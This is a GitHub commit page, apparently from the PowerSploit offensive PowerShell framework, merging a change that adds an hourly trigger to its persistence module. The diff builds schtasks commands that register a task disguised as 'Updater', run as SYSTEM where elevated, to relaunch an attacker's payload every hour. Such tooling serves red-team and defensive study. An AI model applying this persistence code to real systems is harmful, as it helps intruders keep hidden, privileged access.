Skip to content

Commit 262a260

Browse files
Merge pull request PowerShellMafia#132 from pyllyukko/sch_hourly
Add hourly scheduled task persistence option
2 parents 2a813fa + 75a37a0 commit 262a260

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed

Persistence/Persistence.psm1

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,10 @@ function New-ElevatedPersistenceOption
5555
5656
Starts the payload daily.
5757
58+
.PARAMETER Hourly
59+
60+
Starts the payload hourly.
61+
5862
.PARAMETER At
5963
6064
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -83,6 +87,7 @@ function New-ElevatedPersistenceOption
8387
$PermanentWMI,
8488

8589
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
90+
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
8691
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
8792
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
8893
[Switch]
@@ -97,6 +102,10 @@ function New-ElevatedPersistenceOption
97102
[Switch]
98103
$Daily,
99104

105+
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
106+
[Switch]
107+
$Hourly,
108+
100109
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
101110
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
102111
[DateTime]
@@ -156,6 +165,12 @@ function New-ElevatedPersistenceOption
156165
$PersistenceOptionsTable['Time'] = $At
157166
}
158167

168+
'ScheduledTaskHourly'
169+
{
170+
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
171+
$PersistenceOptionsTable['Trigger'] = 'Hourly'
172+
}
173+
159174
'Registry'
160175
{
161176
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -214,6 +229,10 @@ function New-UserPersistenceOption
214229
215230
Starts the payload daily.
216231
232+
.PARAMETER Hourly
233+
234+
Starts the payload hourly.
235+
217236
.PARAMETER At
218237
219238
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -233,6 +252,7 @@ function New-UserPersistenceOption
233252

234253
[CmdletBinding()] Param (
235254
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
255+
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
236256
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
237257
[Switch]
238258
$ScheduledTask,
@@ -245,6 +265,10 @@ function New-UserPersistenceOption
245265
[Switch]
246266
$Daily,
247267

268+
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
269+
[Switch]
270+
$Hourly,
271+
248272
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
249273
[DateTime]
250274
$At,
@@ -285,6 +309,12 @@ function New-UserPersistenceOption
285309
$PersistenceOptionsTable['Time'] = $At
286310
}
287311

312+
'ScheduledTaskHourly'
313+
{
314+
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
315+
$PersistenceOptionsTable['Trigger'] = 'Hourly'
316+
}
317+
288318
'Registry'
289319
{
290320
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -574,6 +604,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
574604
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
575605
}
576606

607+
'Hourly'
608+
{
609+
$ElevatedTrigger = "schtasks /Create /RU system /SC HOURLY /TN Updater /TR "
610+
}
611+
577612
'OnIdle'
578613
{
579614
$ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
@@ -617,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
617652
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
618653
}
619654

655+
'Hourly'
656+
{
657+
$UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR "
658+
}
659+
620660
'OnIdle'
621661
{
622662
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "

0 commit comments

Comments
 (0)